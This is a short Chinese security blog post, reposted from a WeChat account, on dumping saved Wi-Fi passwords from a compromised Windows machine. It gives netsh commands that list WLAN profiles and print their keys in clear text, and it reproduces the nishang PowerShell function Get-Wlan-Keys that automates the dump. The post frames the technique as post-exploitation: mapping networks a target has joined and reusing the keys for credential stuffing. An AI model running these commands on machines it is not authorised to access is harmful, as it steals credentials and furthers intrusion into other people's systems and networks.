【权限维持技术】Windows获取WLAN Key

admin 2023年12月3日21:56:27评论20 views字数 1292阅读4分18秒阅读模式

【权限维持技术】Windows获取WLAN Key

免责声明

【权限维持技术】Windows获取WLAN Key

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号不为此承担任何责任。


【权限维持技术】Windows获取WLAN Key

WLAN

【权限维持技术】Windows获取WLAN Key

WLAN,即无线局域网络(Wireless Local Area Network),是使用无线电波技术实现的局域网络。它允许设备通过无线方式连接到局域网络并进行数据通信。WLAN通常基于IEEE 802.11标准,常见的包括802.11a、802.11b、802.11g、802.11n以及802.11ac。
WLAN Key,也称为无线安全密钥,是用来保护无线网络安全的密码。这个密钥需要在设备访问无线网络时输入,以确保网络通信的加密和认证。常见的无线安全协议有WEP、WPA和WPA2,其中WPA2目前是最安全的加密方式。密钥越复杂,网络的安全性越高。
获取WLAN Key之后,可以帮助我们扩大细心收集面,了解目标曾经连接过哪些无线网络,还可以用来撞库。


【权限维持技术】Windows获取WLAN Key

获取方法

【权限维持技术】Windows获取WLAN Key

  1.  通过netsh命令我们可以找到机器上所有的WLAN配置文件,上面有目标所有连接过的WIFI配置:

netsh wlan show profiles

【权限维持技术】Windows获取WLAN Key

2. 然后再使用netsh命令指定WLAN网络输出密钥:
netsh wlan show profiles name="Your WLAN Name" key=clear

【权限维持技术】Windows获取WLAN Key

3. 整个流程可以使用PowerShell脚本自动化实现,这里给出nishang的脚本:
function Get-Wlan-Keys {<#.SYNOPSISNishang Payload which dumps keys for WLAN profiles.
.DESCRIPTIONThis payload dumps keys in clear text for saved WLAN profiles.The payload must be run from as administrator to get the keys.
.EXAMPLEPS > Get-WLAN-Keys
.LINKhttp://poshcode.org/1700https://github.com/samratashok/nishang#>
[CmdletBinding()]Param ()
$wlans = netsh wlan show profiles | Select-String -Pattern "All User Profile" | Foreach-Object {$_.ToString()} $exportdata = $wlans | Foreach-Object {$_.Replace(" All User Profile : ",$null)} $exportdata | ForEach-Object {netsh wlan show profiles name="$_" key=clear} }


【权限维持技术】Windows获取WLAN Key

总结

【权限维持技术】Windows获取WLAN Key

本文总结了Windows系统下获取目标连接的所有无线网络和无线网络面膜的方法,全过程可以使用PowerShell自动实现。获取WLAN Key之后,可以帮助我们扩大细心收集面,了解目标曾经连接过哪些无线网络,还可以用来撞库。

【权限维持技术】Windows获取WLAN Key




原文始发于微信公众号(赛博安全狗):【权限维持技术】Windows获取WLAN Key

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月3日21:56:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【权限维持技术】Windows获取WLAN Keyhttps://cn-sec.com/archives/2264370.html

发表评论

匿名网友 填写信息